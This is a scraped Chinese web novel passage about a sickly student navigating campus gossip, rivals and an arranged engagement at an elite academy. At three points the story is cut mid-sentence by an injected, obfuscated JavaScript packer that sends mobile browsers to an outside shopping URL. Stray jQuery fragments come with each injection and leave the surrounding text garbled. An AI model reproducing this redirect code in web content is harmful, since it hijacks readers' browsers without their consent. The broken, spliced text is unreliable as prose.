【今天我就是死,被风纪部扣操行分数扣成零蛋,也要用我沙哑的喉咙喊出:虞听,妈妈爱你!】 【那天中午的事我在现场!二年级的尤里乌斯少爷也专门赶去接人了呢,呜呜呜谁来懂一下这温柔学弟x清冷男神之间的绝美竹马情,这对我的眼睛真的很友好!】 【话说虞听男神复课了的话,第一名的争夺战又要有悬念了啊,林学神应该很不爽吧……】 【少来了,第一名还有争议?当然花落虞学长家啊!昨天复课第一天,虞学长就被路薇娅教授点名表扬了哦。】 【啊,说起来,听我在现场的朋友说,那堂课上一年级的某位特招生又在出风头,只不过这次是献了大丑哈哈哈哈哈哈】 【能说吗,当初入学时好多人在说那位特招生长得像虞学长,哪里像了啊喂,分明是被新生楼里面那张高糊照片诈骗了好不好,根本就是两模两样。。】 【就是就是,还想登月碰瓷,先像虞听男神那样拿一次第一再说吧!】 【趁乱表白男神】 【ls表白,那我直接趁乱抱走……】 啪。 虞听将手机黑屏,倒扣在桌面。 他深吸口气,环顾周围。 巨大的天幕图书馆安静极了,学生们不是在伏案自习,就是穿梭在书架森林中安静阅读。 如果不是看到论坛上越来越离谱的内容,这好好学习天天向上的刻苦场面他还真信了。 其他人可以坐在图书馆假努力,但虞听不能。且不说昨天下课前路薇娅教授布置的三千字全英论文,他现在可是个能否休学留级都要画个问号的人,而论坛里学生们你一言我一语把他架到了不拿第一天理不容的高位,眼瞅着要和林抚打擂台了。 虞听默默叹息,翻开图书馆借来的大部头,开始自习。 只有走过学生时代的人,才知道静静坐在图书馆专注于知识本身的感觉有多么安心。笔记本很快被一页页隽秀的字迹填满,时间一分一秒过去,虞听终于稍微直起身,活动了一下酸胀的脖颈。 赛罗米尔的图书馆采用欧式的古典装潢风格,来的学生虽然多,但图书馆更加空旷,一旦进入心流,这里静得连自己的呼吸都清晰可闻。 “同学你好。” 虞听抬起头。他特意选了二楼图书馆的咖啡角,这里因为光照较其他区域差些而气温稍低,但虞听恰恰相中它比其他区域更加僻静。 咖啡角的服务生将一杯意式拿铁放在实木方桌上:“这是附近一位同学为您点的咖啡,请慢用。” 虞听下意识左右看了看:“哪一位?” 周围本就没有多少人,此刻连一个抬头的都没有,全在各自做各自的事。 服务员微笑:“对方特意嘱咐要保密,或许……是您的仰慕者?” “……”虞听无法,把托盘往自己的方向拉过来一些:“我知道了。” 医生嘱咐过短期内还不能服用刺激神经的饮品,虞听没多理会,往掌心呵了口气,拿起笔来。 又过了两分钟,服务生再次过来轻敲他桌面: “同学你好,这是另一位不愿意透漏姓名的同学为您点的香草布蕾。” 虞听头也不抬地伸出左手在桌子空余位置点了点:“放在这里吧,谢谢。” 服务员离开,不到两分钟第三次折返回来,这次手上端着一杯热牛奶:“同学你好……” 这样来回了大概七八次,虞听终于在服务员端着一杯草莓巴菲走过来时忍不住了:“如果再有人来匿名为我点单,麻烦帮我拒绝好吗?” 服务员讪讪地点头离开。虞听放下笔,靠在椅背里捏着鼻梁重重叹气。 这是把他当成什么了,动物园里等待投喂的熊猫吗? 虞听小心地把快要占满桌面的零食和饮料挪到旁边的桌面上,继续完成论文。刚下笔没两句话,桌角再次被叩响,这次虞听有点失去耐心,薄薄眼帘一掀: “我说过不需要再收任何的——” “终于又见面了,学长。” 大一号的短风衣外套披在肩头,虞听下意识拢住衣襟,看着尤里乌斯·索恩在他身旁拉开椅子坐下来。 “叔叔阿姨离开后,你又在医院昏迷不醒,”金发青年微笑着,像个老成的绅士,“我们好久没有这样坐在一起聊天了。” 虞听用那双漆黑的眸子盯了他一会儿,要把尤里乌斯的外套脱下来,却被对方拦住:“着凉就不好了。披着吧,刚才过来的时候我看见你冷得一直搓手。” 青年的手与虞听冻得僵硬的指尖短暂蹭过,虞听迅速收回手,目光隔着种满绿植的中庭空井望向远处。 尤里乌斯长了一张标准的西方人面孔,骨相深邃,下颌线锋利,偏偏这样样貌的青年却是哥有着中央空调般的细腻友善、走到哪里都能斩获粉丝无数的暖男。 尤里乌斯手肘搭在桌上,托腮歪头,看着虞听:“学长还记得吗,很快就要到我的生日了。今年是十八岁成人礼,母亲说了,宴会一定要办得隆重一些,我思来想去,比起发请柬,我还是希望当面邀请你来参加。” 虞听没说话,只是看着远处的藏书区。尤里乌斯伸手在他面前晃晃:“学长想什么呢?” 虞听淡淡扬了扬下巴:“你看。” 尤里乌斯跟着转头看去,蓦地愣住。 图书馆实在太大,大到同楼层另一边的动静如果不仔细留意根本无法听见。但此刻两个人清楚看见成排书架间一高一矮两个身影站在一起,高的那个手一横将另一人拦住,笑得恶劣又嚣张: “陆学弟,撞了人就想这么走了了事?” 希莱尔的嗓门一如既往不分场合的大,周围许多人抬起头,发现吵闹者是何许人也后纷纷装作没听见般重新低下头去。陆月章手足无措地低头道歉,随后弯下腰想捡起借来的书本,谁知一只高档皮鞋轻轻踩住书封一角。 “这本我要了。”希莱尔懒洋洋地说。 陆月章听上去却没有被刁难的烦躁:“可这是我先借的啊,希莱尔学长。而且只剩这一本了诶。” 此情此景让咖啡角坐着的尤里乌斯不禁感慨:“陆学弟也真是的,何必惹他不痛快,希莱尔学长的性子大家又不是不知道……” 虞听靠在椅中,一只手绕到身后掐住后腰按揉。听了这话他也只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656385|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一言不发。 一切都非常标准,无论是不畏强权的小太阳特招生,还是用小孩找茬的手段刁难人的富二代。 当然,更加标准到不能缺席的还有—— “学长,能拜托你件事吗?” 尤里乌斯深吸口气,侧坐过身,那双自带深情的碧蓝色眸子一错不错地盯着虞听:“我看到陆学弟借的书似乎和你借的是同一本书,如果可以的话,能不能把你的书拿去给陆学弟,免得他下不来台?” 虞听一言不发地乜了尤里乌斯一眼,把扣在桌面的手机拿起来开始打字。 尤里乌斯无奈地笑:“月章他不像学长你这么聪明,这种珍本外面又买不到,我担心没有这些资料他真的会挂科,更怕他被希莱尔学长欺负得太惨。” 虞听打字的动作顿了顿,转头看向尤里乌斯,后者莫名一怔。 “好啊。”须臾,虞听望着他说道,同时按下拇指。 一条消息显示发送成功。 【燕少爷,麻烦让安珀罗斯他们帮我腾出一间书房,同时我需要庄园藏书室的钥匙。不胜感激。 另,我通知了厨师长,若你依然晚归,今晚照旧留饭。】 虞听收起手机,把尤里乌斯的外套脱下来搭在椅背上,随后收拾书本,站起身。 “看在我们父母的交情上,我会参加你的成人礼,尤里乌斯。”虞听说,“至于这本书,我会把它归还回去,如果谁需要,再借走就是。” 尤里乌斯眼里闪过一丝惊讶,好久才不自然地笑笑:“我替月章谢谢学长。” “不用谢,”虞听说,“我只是想远离争端。” 说完他转身离开,尤里乌斯站起身,反应迟钝得和最开始那个优雅温和的翩翩公子判若两人。 但虞听并不在意。他只关心自己今天能不能安生地温习功课,忘记原书中图书馆主角邂逅的剧情使得来图书馆读书成为一个糟糕的决定,好在他还可以到燕氏城堡的地下藏书室碰碰运气,听那个年轻仆人安珀罗斯说,许多绝版的资料在燕氏庄园都能得以一窥。 他路过中庭向楼梯走去。做作业时虞听曾将碍事的长发简单扎起,他快步穿过自习区,露出的一截雪白后颈立刻吸引了不少人的目光,可虞听没心思理睬,只想赶紧离开。 一个高调的声音从远处飞来:“喂,虞听!” 虞听浓长如扇的睫羽一抖,猛地闭上眼睛。 天不遂人愿啊。 楼梯口紧挨着争执发生地,纵然他尽力加快脚步,可希莱尔还是叫住了他,脸上笑意加深。 “不愧是整个赛罗米尔公认的三好学生,病还没好就开始用功了。”希莱尔讥诮地笑着。 图书馆里立刻投来许多不满的眼神,但畏于大少爷背后的欧文家族,其余人皆是敢怒不敢言。 虞听抱着书本转过身。黑色校服衬得青年那张脸更加瓷白,黑发墨瞳沉静如水,希莱尔望着那张俊秀的脸,不知想到昨日谁说的话,眼神忽然有些飘忽。 倒是陆月章回头看见虞听,又看见他抱着的那本快和青年腰一边粗的大部头,顿时喜上眉梢。 “学长,”陆月章略显激动,“给你添麻烦真的对不起,但是——谢谢你愿意把书让给我!” 虞听这下实打实地怔住。 他转动眼珠,目光落在希莱尔脸上。如他所想的那样,希莱尔先是也一愣,随后像一头应战的年轻雄狮一样压着怒气扬唇冷笑。 “是这样么,虞听学长?”他怪声怪气地嘲讽,“这次不仅要当三好学生,还自以为是地要做别人的救世主,对么?” 8. 第 8 章 虞听垂下眼帘,思考了一会儿。 “好吧。”虞听说。 他一步步走向漩涡中心的二人。周围自习借阅的学生们再也无法装聋作哑,纷纷搁下笔抬起头。 希莱尔脸上浮现出被取悦般的笑,英俊的脸上流露出一丝痞气。 “怎么,你当真要插手我的事?”他拖着长腔长调,“我是以风纪部部长的身份在训诫这个不懂规矩的特招……” 他的声音越来越小,笑容逐渐凝固。 虞听像路过一个无关人等那样从陆月章身边走过,径直向希莱尔走来。 饶是陆月章也愣住了,手足无措地唤了一声:“虞,虞学长?” 这下轮到希莱尔懵住,他眼睁睁看着虞听向自己越走越近,压低声音:“你想干什么?” 挞的一声,皮鞋跟踏在大理石地面。 虞听在希莱尔面前站定。 希莱尔嗓子里咕咚一吞。 太近了。二人之间不过二十厘米,这是一个令人极其不舒服、极其挑衅的距离。 然而这怎么看也该是一场毫无胜算的挑衅。希莱尔比虞听高出小半头,健壮骨架使得他一只手就可以轻易扼住虞听那苍白的脖颈,而虞听呢?身子还没有抱着的那本书厚实,握着书脊的手腕细如玉笛。 希莱尔心跳顿了一拍。 下一秒。 虞听平静地伸出手——啪。 希莱尔下意识抬起手臂,接住虞听拍在他胸口的那本书。 “不是给他,是给你,希莱尔·欧文。”虞听说。 希莱尔陡然一窒。 虞听身后,陆月章瞳孔霎时瞪大,本来安静的图书馆一瞬间真空般无声,随即周边响起一片倒吸冷气的声音,不知是因为虞听反常的行为,还是为他对希莱尔大胆的直呼其名。 希莱尔握着书的手抓紧,手背绽起道道青筋。 他舔舔干涩的嘴唇:“你什么意思?” 虞听抬起睫羽。 近距离对视的刹那,希莱尔方才被书拍过的那片胸口腾的火烧起来。 “因为借不到一本书吵来吵去,实在叫人头疼。”虞听云淡风轻,“你无理取闹的行为真让欧文家族蒙羞。” 希莱尔两腮忽的犯酸:“你……不是为了替特招生叫屈?这不是前任风纪委员大人最爱做的……” 虞听眯起眼睛,不知怎的,希莱尔忽然不吱声了。 “我只看到一个像小宝宝一样的家伙在这胡闹。” 他曲起细长食指,在硬质书封上叩了叩,那震动随着书本传递到肺腑,与希莱尔的心跳同频共振。 噗通、噗通、噗通噗通噗通—— “闹够了就离开吧。”虞听冷冷地说。 希莱尔彻底呆住了。 虞听再不看他一眼,转过身。周围自习的学生们纷纷低头,借阅的同学们不约而同走向远处的书架,只有陆月章还呆若木鸡地站着一动不动,眼睛黏在虞听身上般挪不开。 余光看见几个学生拿出手机开始噼里啪啦打字,想也知道接下来论坛会发生什么,可虞听懒得理会。一人一本书,多么完美的处置,还要他怎么公平? 这么想着,青年迈开长腿,离开图书馆。 * 隔天晚上。 燕氏城堡的楼梯侧壁悬灯常年亮着昼夜不停的光,将墙上挂着的古典油画镀上幽微的暖色。 刚温习完功课,燕寻拾级而下,未走到底便听见楼下传来交谈的声音。 “……小听,来庄园的这几天感觉怎么样?” “托伯父伯母的福,一切都好。燕少——燕寻对我照顾有加。” “阿寻要是真像你说的那样贴心就好了,那孩子,虽然用功刻苦,不让我们操心,可有什么心里话都不对我们这当父母的讲……唉,不像你,小听,要是他能和你一样愿意主动找我们聊天解闷儿……” “伯母,燕寻只是太忙了,如果您不嫌弃的话以后我多陪陪您,也算是替燕寻尽一份心意。” “好,好孩子……你的病怎么样了?瞧你也不多穿些,说几句话的功夫后背都冷得打颤……” 燕寻停下脚步。 青年身长挺俊,侧立在楼梯拐角,高挺眉骨下的眼窝隐没在暗处,下颌线清晰紧绷,嘴唇微微抿紧。 楼下母亲与虞听似乎交谈甚欢。 “药都吃过了吗?” “管家每天都叮嘱我服药,从来没断过。” “安珀罗斯说,他晚上路过你卧房时经常听见你咳嗽。小听,我看还是让你父母派几个专家回国为你会诊才好,你的身体耽误不得。” “父亲母亲现在都忙得抽不开身,我不想打扰他们。” “那还是我来替你安排吧。唉,说得也是,现在上议院因为军费的事吵得不可开交,你父亲要是顶不住,法案十有八九要被废,他压力也不小……” 又聊了一会儿,二人的对话终于以寒暄收尾。 燕寻听着母亲的脚步远去,确认女人离开,这才慢慢走下楼梯。 为了隔离烟火气,庄园的厨房设置在仆人们的工作区,但城堡每一层都会在庄园主人活动的区域设置一个小小的西厨和水吧台,新鲜的水果零食永远摆满冰箱,酒柜里放着随取随饮的高档红酒。 燕寻走向西厨。果不其然,这个开放的公共区域正式方才母亲和虞听闲谈的地方,而此刻冰箱门敞开,虞听正咬着叉子,从冰箱里端出一块巴斯克蛋糕。 “唔!”虞听端着托盘的手一哆嗦,差点把蛋糕扣在地上,叼着叉子咬字含混,“你走路怎么没声?” 燕寻只好停步。空气安静了一秒,虞听腾出一只手关上冰箱门,把托盘放在吧台上,拉开一把高脚椅坐下:“请坐,燕少爷。” 燕寻沉默了。到底谁在谁家? 他也拉开一把高脚椅,在对面坐下。和餐厅初次晚餐不同,吧台很窄,二人面对面坐着时燕寻甚至可以数清虞听的每一根下睫毛。 虞听叉了一块巴斯克蛋糕:“这几天我们还是第一次碰面。燕少爷每天都早出晚归的嘛。” 燕寻想佯装没有听见他和母亲的对话,可目光不由自主顺着虞听那张白皙清秀的脸往下滑。 母亲说得对,虞听穿得的确很薄,他似乎刚刚洗过热水澡,黑发发梢潮湿,半长碎发垂在难得蒙上红润的颧骨,真丝睡衣外却只披了件针织薄衫,挂在消瘦肩头。 他逼自己把目光抬高:“伊斯特芬的考试科目和普通学校完全不一样。我家里从未有人从军,一切都要靠我自己从头摸索。” 虞听吃了一口蛋糕,舔掉唇边碎屑:“祝你成功。” 燕寻微微沉声:“虞听,我想和你谈谈。” 虞听耸耸肩,又叉下一块蛋糕。 燕寻说:“我希望你不要给我发那些信息了,还有——留饭是什么意思?” 虞听咽下蛋糕,顺手把一侧碍事的长发掖到耳后。吧台上方的光在青年侧颊光洁细腻的皮肤上打下蜜色的暖光。 他忽然有点想笑。上辈子他只是个如果有家庭成员晚归就要其他人在灶台留一份热菜热饭的普通人,明明现在庄园里有十个八个厨师二十四小时伺候燕氏的主人,可这个穷酸的习惯还是被自己带了过来。 也是,一个住在城堡里的大少爷,哪听说过留一口热饭这种事? 虞听看见燕寻拿出手机:“‘今晚有晚修,可能晚归’、‘预约了理疗师来庄园,望知悉’……说真的,你没必要每天向我汇报你的行程。” “我只是出于必要的礼节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656386|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”虞听说。 “也可能是用这种方式暗示我,应该每天向你报告我的行踪。” “你到底有多怕我仗着未婚夫的身份绑住你?”虞听惊了。 “我们有必要厘清什么是彼此都认可的‘边界’。”燕寻说着调出一条信息,把手机翻过来,“还有,昨天为什么要让我通知安珀罗斯为你打开藏书室?” 虞听瘪瘪嘴:“我需要找一本书。托你的福,今天已经拿到了。” “我问的不是这个。为什么让我转告安珀罗斯。”燕寻黑色的眼睛盯着他。 “我没有安珀罗斯的联系方式。” “那你怎么就能有我的联系方式?” 虞听忽然笑了,他放下叉子,改为手肘支在台面,托着腮向前倾身。 “少爷觉得被我使唤了,不高兴?”他含着笑,声音很轻。 燕寻握着手机的指节泛起青白。 他的目光坠落,定格在虞听因为倾身而滑落下来的针织外套。柔软面料挂在青年肘弯,真丝睡衣贴在那微微凸起的肩胛骨和手臂上,单薄得不可思议。 燕寻收起手机:“外套掉了。” 虞听哦了一下,把外套拉起来,忽然间青年脸上狡黠的笑容消失了,低头打了个寒颤,拢住衣襟。 燕寻皱眉:“不舒服?” 虞听摇头,垂落下来的长发叫他看不清虞听的脸:“没事。顶多是心悸。” “去休息吧。”燕寻立刻说,“短信的事……算了,以后再说。” 他起身时犹豫了一下,但虞听已经扶着吧台站起来。 “晚安,燕少爷,”虞听低低说完,又一掀眼皮瞭他,“虽然这句话在你看来一定很‘越界’……不过下次我建议你走下来和你的母亲聊聊天,而不是躲在楼上避嫌。” 燕寻怔在原地,看着虞听走远。巴斯克蛋糕放在吧台上,像被小猫偷吃过似的,剩下一个丑丑的不规则形状。 待虞听的房间门关上,燕寻转身,向楼梯走去。刚走到楼梯口,一个拿着扫把的身影从楼上走下来,看见燕寻连忙立正:“燕少爷。” 燕寻走上去,对方看着燕寻路过,正要下楼,燕寻忽然停住:“安珀罗斯。” 安珀罗斯吓了一跳:“少爷有什么吩咐?” 燕寻声音听不出情绪:“虞听……” 安珀罗斯屏住呼吸。他当然知道自己有多偏心这位新住进来的小少爷,也做好了因为把燕寻少爷的私人号码泄露给虞听而被问罪的准备。 谁知燕寻道:“他的三餐是怎么准备的?” 安珀罗斯:“……啊?” 燕寻瞬也不瞬地盯着他:“他是个从小就体质虚弱的病人,但第一天来庄园时,你作为晚餐负责人提供的都是生冷的海鲜和油腻食物。刚刚我还看见虞听去厨房找东西吃。你想让外人以为燕氏的客人在庄园吃不好饭,饿得晚上到处觅食?” 安珀罗狠狠怔住,随即惭愧地低下头:“我立刻改正,少爷。” 燕寻深望了他一眼,再没说话,转身上楼,留下安珀罗斯一个人心绪复杂地杵在原地,百思不得其解。 * 深夜。 与白天的赛罗米尔论坛不同,过了十二点,app中会自动刷新一个隐蔽的【暗区】入口。 传闻中,这是不知哪一届的赛罗米尔学生因为无聊黑入app后台,在论坛中添加的一个板块,所有教职工的账号都会被自动检测屏蔽,学生们在此畅所欲言,直到新的一天太阳升起。 没人知道暗区的管理员是谁,但在暗区,任何禁忌、疯狂的言论都被允许存在。 直到今晚,一个帖子在暗区悄然出现。 【有谁知道三年级Y学长的体育选修科目?求更衣室照片,高价悬赏!】 9. 第 9 章 转眼又是三天过去。 三年级的数学课,每次最后十分钟都是雷打不动的讨论环节。 “好了孩子们,剩下的时间交给你们自己了!” 白发老教授撂下一句话,叼着烟斗离开教室。 一声令下,年轻小伙子们如出笼的兔子,立刻拖着椅子向自己的好哥们靠拢,开始激烈的“学术”讨论,教室顿时响起嗡嗡的谈笑声。 乒乒乓乓的桌椅拖动中,林抚依旧坐在靠窗最后一排,将草稿纸翻到下一页,手上动作不停,列下一行新的算式。 对于热衷于讨论游戏、新款赛车和奢侈品学生们而言,找年级第一的天才来一场体会智商被按在地上摩擦的请教无疑是吃力不讨好。 但林抚乐得如此清静。 除了自己那个大学校长的父亲和研究所长母亲,很少有人能和他来上一场有来有回的讨论,学校里大多数人都是庸庸碌碌的笨蛋。 唯一一个让他紧张过的竞争对手,三个月前因为车祸暂别校园。或许是老天看他还不够惨,与那家伙样子有几分相似的天然呆陆月章被学院强行塞给林抚,以至于如今他竟然能慢慢理解陆月章的解题思维,并纠正他的白痴脑回路。 书页一角抬起,林抚以为是风吹,埋头写题的同时伸手抚平。 谁知触碰到的不是纸张,而是微凉的指尖。 “林抚同学。” 林抚猛地抬头。 前排的椅子早就空了,虞听将椅子转了一百八十度,坐下来。 “看来打扰你学习了,林学神。”虞听把笔记打开,放在他桌上的动作倒是不大客气,“请教你一个问题?” 林抚眨眨眼,半晌才把架在高挺鼻梁上稍微滑落下来的眼镜推上去。 “请教我?”林抚重复,“我记得,数学是你最擅长的学科。” “看来你竞争意识还是蛮重的嘛……也罢。”虞听把笔记合上,“我自己研究研究。” “等等,”林抚按住笔记本,“先让我看看。” 仿佛是他的错觉,他总觉得虞听若有若无地冲他笑了一下。 “好。”虞听把笔记打开,用铅笔圈出其中一行,“课上你推导的这个公式,我不是很明白是怎么直接到了这一步……” 林抚看了两眼,把虞听手里的铅笔抽出来,在笔记空白处写下几个字,又抬起眼皮。 他的目光落在虞听领口。赛罗米尔学院校服设计得十分英气,穿在虞听身上却别有一番风情,对方领口一丝不苟扣得严实,象牙白的颈侧却飘来一阵隐隐约约的苦香。 “你在喝中药?”林抚问。 虞听:“胃不大好,在调养。有事?” 林抚垂眼:“没。” 他继续写下详细的推导过程,写完一行便解释:“这个公式在书上的第——” “第七十三页,我知道。”虞听说,“我看得懂,你继续。” 林抚于是接着往下写,又写了两行,他再次停下:“这里的方程式要特别注意,因为……” “不用,后面我自己可以推导,到这里已经足够明白了,谢谢。” 林抚顿了顿,把铅笔放下。虞听拿回铅笔,看了林抚一眼,没有急着走。 “我以为你这种天生的学霸讲题都是惜字如金的。”虞听话里难得带了点揶揄,“真幸运能体会到林学神保姆级别的细致讲解。” 林抚后颈忽然有点沉重,他靠回椅子,摘下眼镜,慢条斯理地拿过眼镜布擦拭。手里有点事情做让他顿觉放松不少。 “最近一直在辅导特招生。”林抚说,“你知道,辅导笨蛋就像是打开了一个新世界。” 虞听笑笑:“原来如此。” 林抚没由来地烦躁。学习使人心静,从前他没觉得最后十分钟的数学课堂很嘈杂,可现在那种躁动不安几乎快让他的心脏从喉咙口跳出来。 “我没辅导过你这种尖子生。”林抚固执地反复擦拭一边镜片,语气却不咸不淡,“不过我想,如果不是因为你生病住院,也轮不到我为你辅导功课。毕竟我们一直平分秋色。” 虞听端详着林抚的脸。 “你不戴眼镜蛮帅的。”虞听忽然说,“看起来不像平时的你,但更像真实的你。” 林抚手上动作一停。 奇怪。他以为教室突然安静了。 过了一秒,世界恢复如常。所有谈话、大笑声如开闸放水,而林抚抬起头,情不自禁地紧盯着虞听那双漆黑的眼睛。 他古怪地笑了笑:“你怎么知道什么更‘像’真实的我?” 虞听坦诚地耸耸肩:“这么说起来,我确实无从谈起。” 林抚把眼睛放回桌上,依旧紧盯着他。没了眼睛遮掩,青年锋利浓密的眉眼一展无余。 “了解过空间维度吧林同学,”虞听抬手比划了一下,“三维物体在四维的切面是空间,而二维在三维的切面只是一个平面。但四维物体在四维空间里可以任意调取每个存在的时间点。” “以我的视角看到的你本该是一个高冷学霸,一个抢夺第一名宝座的对手。我不知道你的全貌,但至少我知道自己看到的一定只是一个切面,对吗?” 林抚张了张口,眼里的光越发深黑。 “我从没听过这种比喻。”他慢慢转开眼睛,“不过我承认你说的有几分道理。这只是一副平光镜罢了。我是家里最小的孩子,哥哥姐姐都是不学无术的纨绔二代,或许我越是像个爸妈心目中文质彬彬的学术接班人就越能讨他们喜欢……” 也不知道怎么了,这种藏在心底一辈子都没打算告诉任何人的话,就在一个乱糟糟的数学课堂上对着连朋友都算不上的家伙吐露出来。 林抚胸中的懊恼更甚,直到虞听收起笔记: “讨他们喜欢,然后呢?” 林抚一愣。 虞听站起身。下课铃刚好响起,学生们起身勾肩搭背地往外走,林抚忽然坐直身体:“虞听。” 虞听停下来,看着林抚。 林抚喉结动了动:“这学期的竞赛……要不要组队。” 说完这句话之后他第一感觉是自己彻底疯了。前两年他们分别带领各自的团队取得过一次冠军,四年级生通常又不参赛,哪个有心气的人会在这种时候握手言和?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16656387|188309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可青年那双黑曜石一样剔透干净的眼珠只是一错不错地望着他。 “那个可以在期末加分的竞赛?”虞听缓慢颔首,“这主意不错,容我考虑一下。” * 作为贵族学院,赛罗米尔的运动场管和设施直逼国际赛事标准,涵盖种类无所不有。 不光是在首都奥林德周边包下一座山头专门用作学生的滑雪课场地、大到可以承接演唱会的田径体育场,就连许多五花八样的偏门项目场馆亦有所涉猎。 就比如—— 砰! 虞听推开门的同时,□□正中靶心。 中午时分,□□馆几乎空无一人。 虞听盯着远处的人影。 那人脱下赛罗米尔校服,即便穿着宽松的防护衣,那宽肩窄腰的身形,劲瘦有力的双腿依旧清晰可见。 “打靶成绩这么好,还要加练?”虞听提高声线,声音在空旷场馆回荡。 燕寻放下□□,没有转身。 “来得很准时。不过,”燕寻听着虞听走近,说道,“其他时候我们在校内要尽量避免有交集,虞听。” 虞听走到他身边,抱着胳膊不看他,二人一起盯着圆形靶。他们就像电影里接头的两个地下工作者,英俊,严肃而沉默。 他忽然问:“如果和你订婚的不是我而是别人,你也会这么严防死守的吗?” 燕寻扑克脸微微一动,如裂隙的面具。 “你想表达什么?”他问。 虞听:“没什么,就当我胡言乱语吧。” 他只是突然想起,原书中他们的婚约早该随着自己的死而消失,比起书中为了陆月章争得头破血流的另外三位,燕寻这个背景最深厚却也最佛系的边缘NPC唯一的优势,就是后来阴差阳错下又和陆月章订婚,书中希莱尔为此没少吃醋发疯,但直到婚约解除,书里的燕寻都没有过什么行动。 看惯了狗血小说的都清楚,燕寻这种角色的设置不过是给主角攻受增添一些起伏磨难,他不需要做什么,只要摆出未婚夫的身份,就足以让主角攻嫉妒眼红。 可话说回来,来到赛罗米尔这么久,虞听还真没见过燕寻和陆月章之间有任何交集。 难道早就该死了的自己意外活到现在,其实已经影响了F4与主角之间的羁绊? 这可不是个好消息。搅和到主角们的命运中,难保会有什么下场。 虞听转头:“伊斯特芬让你压力这么大?我以为你早就稳操胜券了。” 燕寻重新拿起□□:“除了理论知识,他们也会对实操进行考核,每年的考试内容也不一样。他们要选拔的不是花拳绣腿,而是天生的军人和久经考验的战士。” “哪个数学家会来上大学微积分课?”虞听失笑,“他们要找现成的人才,这根本就不合理。” “总有人符合条件。”燕寻说,“比如那些军人世家的孩子。” 他重新端起枪打开瞄准镜。虞听突然听见他轻笑了一声,道: “比如你,虞听,如果我说我需要你帮我打败那些军人世家的公子哥,入选伊斯特芬,你会怎么想?” 10. 第 10 章 虞听惊愕。 “我?”他嘴唇几乎不动,“怎么帮?” 燕寻扣动扳机的食指顿住。 “你父亲是战区司令,陆军中将,也是伊斯特芬的优秀毕业生。”燕寻道。 “我懂了,你想让我们虞家为你展开一场量身定制的魔鬼特训。”虞听语气轻松,“不过何必这么麻烦,你是我父亲的准儿婿,走个后门不是理所应当的?” 燕寻面无表情,骨节分明的手指勾住扳机—— 砰! 圆形靶轻微晃动。虞听望了一眼,倚在护栏上,外套下的腰身勾勒出慵懒收窄的弧度。 “这次偏了一环,”他轻笑,“燕少爷,专心。” 揶揄之意呼之欲出。燕寻把视线从瞄准镜后移开,目光像浸过冰水。 “我喜欢赢得堂堂正正。”燕寻说。 虞听:“让你和其他靠着走后门和作弊的人站在同一起跑线上竞争,怎么不算堂堂正正?燕少爷,你在这种大富大贵之家呆久了,有骨气是好,可哪些委屈值得受,哪些不值得,恐怕你还分不太清。” 燕寻眉关紧锁:“说的好像你就不是我们中的一份子一样。” “是啊,赛罗米尔没有谁不是出生于钟鸣鼎食之家。”虞听道,“所以,不打算听听我的条件吗?” 燕寻放下气/.枪。 虞听又道:“你放心,我知道你不屑于靠别人考进军校,我要做的也并非让父亲替你打点关系。燕少爷,你天资过人、勤奋刻苦,也正因为如此你比谁都知道你现在缺少更进一步的专业指导,以及职业军人的帮助。这些正是我为你提供的。” 燕寻:“那你呢,你想要什么?” 虞听那张苍白的脸上露出带有几分戏谑的笑。 “我想要提前结束婚约。就在你毕业后。”他说。 燕寻的眼睛微不可察地睁大。 好半天他才回答:“这听上去是一个稳赚不赔的交易——对我来说。” “对我来说也是。”虞听微笑,“我不想等到你在伊斯特芬稳定下来之后再慢慢解决我们之间的‘历史遗留问题’……况且从此以后,我父亲也会在伊斯特芬拥有一个前途无可限量的晚辈和自己人。” 燕寻沉默了。 虞听用眼神示意燕寻手里的气/.枪:“你叫我过来,总不会连这点条件都开不起吧?” 片刻后,燕寻垂眼,那张容貌英俊、端正的脸上少见地露出若有所思的神情。 “我考进伊斯特芬,是因为我有自己的抱负要实现。”燕寻语速放缓,谨慎思考着,“我不会成为任何人的党羽,或者依附于……” “当然,那样就不是你了。” 虞听转过身靠在护栏上:“你大可以把这看做我个人的请求……请你记着今日我父亲一份小小恩情,某一天虞家可能会需要你的帮助。” “为什么?” 虞听没回答。 一切只是他自己的推测。 可是所有事情都太过巧合了…… 原书中的车祸根本没有写明缘由,仿佛只是一场意外那样不幸地发生了。 但就是在“虞听”去世后,父亲的军事演习也遭到意外,摩擦迅速升级成两国在边境线的短暂交火,本是小到不值得见报的争端,偏偏指挥部遭到轰炸,父亲重伤被迫退役,而作为父亲生前最大的政治遗产的上议院提案也迅速遭到驳斥;远在非洲瘟疫区的母亲听闻后伤心过度,很快染上重病,不治身亡。 